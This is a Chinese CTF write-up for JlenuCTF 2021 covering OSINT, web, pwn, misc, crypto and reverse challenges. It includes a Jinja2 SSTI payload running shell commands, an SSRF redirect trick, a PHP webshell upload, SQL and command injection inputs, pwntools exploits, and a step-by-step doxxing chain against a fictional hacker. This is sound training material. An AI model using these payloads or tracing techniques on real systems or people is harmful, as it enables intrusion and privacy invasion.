本次比赛于2021.5.19到2021.5.23正式圆满结束,本次比赛本人作为出题人也是尝试了各种方向的出题,再此也鸣谢一下strving师傅贡献的密码题以及last师傅贡献的web题,期间确实有点小插曲,比如部分题目出现无法解题的情况,以及分数配置的稍微不合理,以及社工题目的缺陷,希望下次举办可以更加完美一点,社工题不知道师傅们玩的是否开心,happygame确实狠happy!!!
社工
这是本人从去年就开始筹备的一个想法,这次比赛终于实现了,也是成为了本次比赛的一大特色。其中也有很多遗憾,比如一些部分处理的并不好,还有需要一些脑洞以及提示,甚至是缺乏一些合理性.jpg
但是总体来讲,这道题目的预期效果还是比较不错的,让师傅们也比较满意,很欣慰
人物画像:
黑客画像:
id:HSYM
背景:带黑客,灰产哥,后台摸屁股一把手
姓名:荒山人
拼音:huangshanren
学校:江西软件职业技术大学
坐标:115.82271,28.902229
经纬度:115°49'21.756" 28°54'8.02439999999976"
生日:
常用密码:
ip:http://1.15.98.31/
邮箱:https://mail.protonmail.com/
帐号:S114514W
密码:
身份证:
受害人画像:
角色:
魔法少女
性别:男
岗位:某论坛维护人
擅长:社会工程
社工一:帮我溯源
题目描述:
《本题目为阶段性,解决本题目才可开放下一个,总共五个,本系列题目在做的过程中请不要删除任何内容,请不要做任何非法修改,无需任何操作,请不要进行扫描爆破路径》
魔法少女所维护的网站被黑客攻击了,你是魔法少女请过来的外援大佬,希望你能够帮助魔法少女来进行溯源找到黑客,已知魔法少女对网站进行了备份,加油。 找到后门文件,将黑客id直接提交至平台,无需包装
解题:
访问www.zip进行下载文件备份
zb_system/admin存在1.php,打开
获得黑客id,提交
社工二:深入调查
描述
很好,你已经找到了黑客的id,请继续溯源,寻找黑客的代理服务器的ip 将代理服务器ip直接提交
解题:
既然还有着后门文件,咱们直接利用进行连接
直接寻找日志(此处是因为没有使用多动态docker,所以只好单独设立了一个日志,引导选手进入)
成功找到黑客的代理ip,提交
社工三:信息收集
描述:
非常棒,既然你已经找到了黑客的服务器,尝试访问,并找出他的博客后台密码 找出黑客的博客后台密码,直接提交
解题:
这里由于稍微有些脑洞,所以后上了个hint,提示密码为ID+生日
这里预期解是通过蚁剑连数据库,找到qq,进行进一步挖掘
找到数据库配置文件,直接连接
可以找到qq邮箱,查找此qq,可以发现其首条qq
该网页与代理服务器一致,深入挖掘也可以发现出生年月
最后组成为:
HSYM20020301
可以直接登录后台
社工 四:反击黑客
描述:
good,该找的都找得差不多了黑客的邮箱里面可能会有些好东西哦 找出黑客的真实地理位置,地理位置名称提交
解题:
登陆后台,想办法拿shell,上传带shell的插件即可
有备份文件,登陆邮箱
邮箱内有iphone照片,获取exif经纬度即可
https://zhuanlan.zhihu.com/p/139321015
江西软件职业技术学院
社工 五:抓到你了
描述:
非常棒,抓到他。 找到黑客的身份证号,直接提交
解题:
邮箱有个坚果云置顶,猜测内容在坚果云内,直接重置邮箱,找到图片即可
HAPPYGAME
SIMPIOT
说起来你可能不信,预期解就是binwalk直接cat(
简单的梯形图分析
丢入西门子仿真直接运行,结果为12.0
包上包装就是JlenuCTF{12.0}
(可恶,竟然没人做)
WEB
easy_Login
题目描述:
魔法少女并未修改她的学号密码,只要登陆进去就一定可以获得flag了吧,她的学号是:1927034131,默认密码为身份证后六位
解题:
进来后是我们学校的登陆页面,俺们学校前端是有个登陆验证的,而且还是AES自动填充,会给随机的key,就离谱,具体实际情况可以参考俺的今日校园项目:jiayuqi7813/Jltiet-auto-signin: auto-signin (github.com)
在题目中,我就把随机的key以及长度补全做了限制,就是非常简单的AES_ECB模式的爆破登录(后面考虑到服务器负载问题,就直接提示了前两位数组,要不然00000-99999属实太恼了(((
先把用户名输入进去随便抓个包,可以看见password是进行了加密
如果密码错误会提示密码错误
具体的加密方式可以通过F12查看源码获得
AES ECB模式,密钥也是固定的
可以通过在线解密进行验证
所以只需要插件爆破就好了
首先生成0000-9999的字典,然后与08拼接
for i in range(10000):
print('08'+f'{i:04}')
bp插件爆破
爆破即可,密码:080806
flag:JlenuCTF{wow_Y0u_GOT_MY_passw0rd}
BDE_CAT
题目描述:its so BDE cat!!!!!!!!
解题:
进去后一只吊面猫,f12可以看见is_debug的字样
令url接上is_debug即可看见源代码
此处考点就是需要绕过_的过滤,php会将.或+认作_所以可以直接绕过,其次是正则,这个正则为了降低难度实际上并未生效,最后只需要绕过/sandboxed_bin/这个目录限制就好了,利用分号即可
最终拼接:
CMS_audit
题目描述:一个简单的cms审计,冲
解题:
说是代码审计,然而实际上是个现成的cms的漏洞,考察一下校内选手对现成漏洞的复现的能力。
打开网址发现是 YCCMS,在网上搜索得到后台路径 /admin/ 及默认密码 admin:admin
文件上传漏洞在后台找到一处上传点。处理其代码逻辑在 /public/class/LogoUpload.class.php,关键代码如下:
//构造方法,初始化
public function __construct($_file,$_maxsize) {
$this->error = $_FILES[$_file]['error'];
$this->maxsize = $_maxsize / 1024;
$this->type = $_FILES[$_file]['type'];
$this->path = ROOT_PATH.'/'.UPLOGO;
$this->name = $_FILES[$_file]['name'];
$this->tmp = $_FILES[$_file]['tmp_name'];
$this->checkError(); //验证错误
$this->checkType(); //验证类型
$this->checkPath(); //验证目录
$this->moveUpload(); //移动文件
}
绕过很简单,上传一个PNG格式,大小不超过2M的图片,bp抓包,修改内容为php一句话,后缀改为php。
有警告不要紧,php文件其实已经生成了。使用蚁剑连接(文件名会自动变成 logo)
在根目录找到 flag:Jlenu{GOOD_Y0U_Are_HACKED!!!}
Easy_SSRF
感谢last师傅供题
题目描述:简单的SSRF
解题:
F12查看有个?url的注释,命令行输入后可以进行打ssrf,过滤了localhost以及127.0.0.1,直接生成个
http://127.0.0.1/flag.php的短链接打过去就行了
来自d1a0的解法:
经过测试,服务器上搭建一个302跳转页面
1.php
<?php
echo"1";
header("Location:http://127.0.0.1/flag.php");?>
访问:http://120.79.25.56:5566/?url=http://x.x.x.x/1.php
flag: JlenuCTF{ssrf_is_so_esay!}
Strange_SQLI
题目描述:一个奇怪的sql注入
解题:
这道题奇怪就奇怪在他有个动态的waf,waf每次会从随机的关键字去过滤几个字符,目的是为了防止sqlmap一把梭,本质上还是很简单的。
0 union select flag from flag
就出来了(
MIAOHUB
题目描述:我做了一个可以上传猫猫图片的网站,先生请不要乱上传哦
解题:
一个批着文件上传题目的ssti(,简单的ssti,仅过滤了.和[ ],用来参考的文章:Jinja2 SSTI Research – HackMD
直接打就完事了
{{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}
{{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag*')|attr('read')()}}
hard_Unserialize
零解题,不提供wp,同样感谢last师傅供体,该题目后续还会再见
PWN
easy_sender
这是一个简单的缓冲区溢出,通过gets调用使vuln函数中的缓冲区溢出
from pwn import *
sh = remote('118.195.156.186', 10000)
win_addr = 0x080491B6
sh.sendlineafter('? ', 'a'*(0x10+4)+p64(win_addr))
sh.interactive()
strread
一个相对简单的程序,两个输入,并进行异或。
我们修改变量changeme,这个变量在堆上分配,从0xff开始,并且不在程序中直接修改。
int * changeme = malloc(sizeof(int));
*changeme = 255;
printf("Reality: %d\n", *changeme);
...
if (*changeme != 0xff) {
system("/bin/sh");
}
第一个输入位于堆栈上,最大大小为256字节
第二个输入位于堆上,其最大大小等于上一个输入的长度
buffer2”的大小是“strlen(buffer)”,而读取的字节数是上一次输入的实际长度。“strlen”计算的长度是输入中第一个空字节的索引,而“read”返回读取的字符数。
如果您的第一个输入是“\x00AAAAAA”,则将调用“malloc(1)”,而read将以8字节读取。因为’buffer2’是在’changeme’之前分配的,所以溢出到changeme很简单:第一个输入应该以空字节开始,然后有大量字符,然后buffer2将与changeme重叠。
在这种情况下,分配之间的最小大小是32字节,这意味着如果我们的第一个字节是空字节(导致’malloc(1)`),那么我们的第二个输入应该有32字节的填充,那么下一个整数将覆盖changeme。这可以通过两种简单的方法来确定:在gdb中转储内存,或者使用pwntools提供的“cyclic”和“cyclic\u find”函数。
唯一剩下的是xor函数。如果需要将changme设置为特定值,则需要密切关注xor的结果。然而,由于所需要的只是更改值,只要我们的缓冲区超出了内存中changeme的位置,直接写exp:
from pwn import *
p = process("./strlenvsread")
p.sendline(b"\x00" + b"A" * 254)
p.sendline(b"o" * 32 + p32(1337))
p.interactive()
whiterabbit
一个类似web的pwn,通过闭合执行sh
from pwn import * # NOQA
# p = process("./whiterabbit")
p = remote("118.195.156.186", 10002)
p.sendline("'$(sh)")
p.recv()
p.sendline("sh >&2")
p.interactive()
MISC
MY XP
直接
python vol.py ‐f ../111.vmem ‐‐profile=WinXPSP2x86 notepad
转换base64即可
海底谭
这道题原本想法是做了个工具,但是比赛时被反馈无法正常解题,所以临时换附件
解法直接用7zip就可以直接解出
coolpic
预期解是通过滤波算法进行降噪:
matlab:
I = imread('mix2.png'); %读取图片
%t1 = imnoise(I,'salt & pepper',0.5);
t=imdivide(I,0.9);
t2=median_filter(t,3);
figure,imshow(t2),title('中值滤波后')
然而学妹直接用ps就拿了一血。。。tql
warm-up
为了降低难度直接把注释都丢上面了
胜利条件后面的代码复制到f12的控制台就完事了
签到-线下限定版
整活的,提交我身后的flag
MagicCODE
扫码,直接rickroll(你 被 骗 了)
盲水印+兽音译者(这个没给提示确实有点脑洞了,不好意思)
CRYPTO
WHATS HAPPEN?
盲文转换
Baby_RSA
三素数rsa,已知一组n,e,d,其中d=invert(e,lcm(p-1,q-1,r-1))再用n,7去加密flag
首先根据e,d,n可以爆破求出phi,lam=gcd(p-1,q-1,r-1)
e*d-1=kphi/lam
爆破公约数lam,lam*(e*d-1)=kphi
k=kphi//n +1=lam(e*d-1)//n+1
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from gmpy2 import *
d=6848345389131232097250291554774004483864247462767351912899751705063009304102012225840379809975695209148626539132005837425458215616241927473070938221119168859672496841054510245128799501775634965114887272776082740599056090759932017
#解析公钥文件
with open(r"npubkey.pem", 'r') as f:
key=RSA.importKey(f.read())
n=key.n
e=key.e
#读取密文
cipher=int(open(r"nflag.enc","rb").read().decode(),16)
print(n,e)
#爆破lam,求phi
for lam in range(1,200):
kphi=lam*(e*d-1)
k=kphi//n+1
if kphi%k==0:
phi=kphi//k
print(phi,lam)
break
e=7
#e和phi不互素,只是其中一个素数因子有7,把它剔除再求解。
m=pow(2,phi//7,n)
1==pow(2,phi,n)
qr=gcd(m-1,n)
p=n//qr
d=invert(e,phi//(p-1))
print(long_to_bytes(pow(cipher,d,qr)))
lfsr encode
常规的lfsr,只是两个lfsr产生的输出流out1,out2,再计算out=ou1<<1^out2,可以发现out和out1,out2的组合是一一对应的,也就是说通过out就可以反求out1,out2,对应如下:
输出的tmp就是out的值,分别还原out1,out2流,然后就是n级lfsr已知掩码mask的话,已知n位输出就可以求到初始状态,就很简单了。最后求到flag。
with open(r"key.txt","rb") as f:
c=f.read()
f.close
from Crypto.Util.number import *
c=bin(bytes_to_long(c))[2:]
C=[]
for i in range(0,len(c),2):
C.append(int(c[i:i+2],2))
out1=""
out2=""
for i in C:
if i==3:
out1+="1"
out2+="1"
if i==2:
out1+="1"
out2+="0"
if i==1:
out1+="0"
out2+="1"
if i==0:
out1+="0"
out2+="0"
KEY=[]
mask="1010110101101101001011010111101100010110011110001010110101101101"
for i in range(len(mask)):
if mask[i]=="1":
KEY.append(i)
flag1=""
out1=out1[:64]
for i in range(64):
im="1"+flag1+out1[:63-i]
K=int(im[KEY[0]])
for j in range(1,len(KEY)):
K^=int(im[KEY[j]])
if K==int(out1[63-i]):
flag1="1"+flag1
else:
flag1="0"+flag1
out2=out2[:64]
flag2=""
for i in range(64):
im="1"+flag2+out2[:63-i]
K=int(im[KEY[0]])
for j in range(1,len(KEY)):
K^=int(im[KEY[j]])
if K==int(out2[63-i]):
flag2="1"+flag2
else:
flag2="0"+flag2
flag1=hex(int(flag1,2))[2:]
flag2=hex(int(flag2,2))[2:]
import hashlib
print("JlenuCTF{"+hashlib.md5((flag1+flag2).encode("utf8")).hexdigest()+"}")
reverse
easy_py
1.执行文件,查看输出
二、.使用 uncompyle6 反编译,分析代码
uncompyle6 ‐o 1.py ./easy_py.pyc
得到源码:
# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.6.8 (tags/v3.6.8:3c6b436a57, Dec 24 2018, 00:16:47) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: ./1.py
# Compiled at: 2021-04-28 11:52:30
# Size of source mod 2**32: 1185 bytes
import threading, time
#与顺序进行异或
def encode_1(n):
global num
while 1:
if num >= 0:
flag[num] = flag[num] ^ num
num -= 1
time.sleep(1)
if num <= 0:
break
#与列表中后一数据进行异或
def encode_2(n):
global num
while 1:
if num >= 0:
flag[num] = flag[num] ^ flag[(num + 1)]
num -= 1
time.sleep(1)
if num < 0:
break
while True:
Happy = [
39, 109, 8, 109, 51, 70, 21, 65, 11, 112, 22, 111, 33, 82, 93, 124, 23, 72, 77, 125, 115, 74, 27, 98, 23, 87, 0, 95, 18, 115, 117, 42, 122, 18, 18, 124, 103, 88]
num = 37
f = input('Please input your flag:')
#判断长度
if len(f) != 38:
print('Your input is illegal')
continue
flag = list(f)
j = 0
for i in flag:
flag[j] = ord(i)
j += 1
print("flag to 'ord':", flag)
#创建线程
t1 = threading.Thread(target=encode_1, args=(1, ))
t2 = threading.Thread(target=encode_2, args=(2, ))
#开始线程,区分间隔
t1.start()
time.sleep(0.5)
t2.start()
t1.join()
t2.join()
#判断
if flag == Happy:
print('Good job!')
else:
print('No no no!')
可以看到该题是创建了个全局变量,通过两个线程将其进行递减,并进行相关算法:将输入的数据从后往前(37~0),按照列表顺序,当顺序号为奇数执行 t1 线程算法:将该数据与顺序进行异或偶数执行 t2 线程算法:将该数据与后一个数据进行异或re.py
flag=[
39, 109, 8, 109, 51, 70, 21, 65, 11, 112, 22, 111, 33, 82, 93, 124, 23, 72, 77, 125, 115, 74, 27, 98, 23, 87, 0, 95, 18, 115, 117, 42, 122, 18, 18, 124, 103, 88]
j=0
for i in flag:
if j%2==0:
flag[j]=flag[j]^flag[j+1]
j+=1
else:
flag[j]=flag[j]^j
j+=1
for i in range(len(flag)):
flag[i]=chr(flag[i])
flagstr=''
flagstr=''.join(flag)
print(flagstr)
MEGA-RACE
IDA打开,shift+F12 找到关键字符串进入查看交叉引用
查看代码
发现是把你输入的 flag,经过 scram 函数处理与 &pass 中前 39 个字符比较4.双击 pass,shift+E 提取数据
re.py
ss=[
17, 27, 22, 16, 12, 20, 71, 25, 16, 5,
67, 3, 2, 27, 67, 3, 70, 71, 25, 13,
40, 14, 71, 2, 40, 22, 5, 68, 40, 3,
31, 68, 40, 48, 34, 46, 86, 10
]
print(len(ss))
result=0
for i in range(38):
result=i
ss[i]^=0x77
print(ss)
flag=[]
for i in ss:
print(chr(i),end='')
暂无评论内容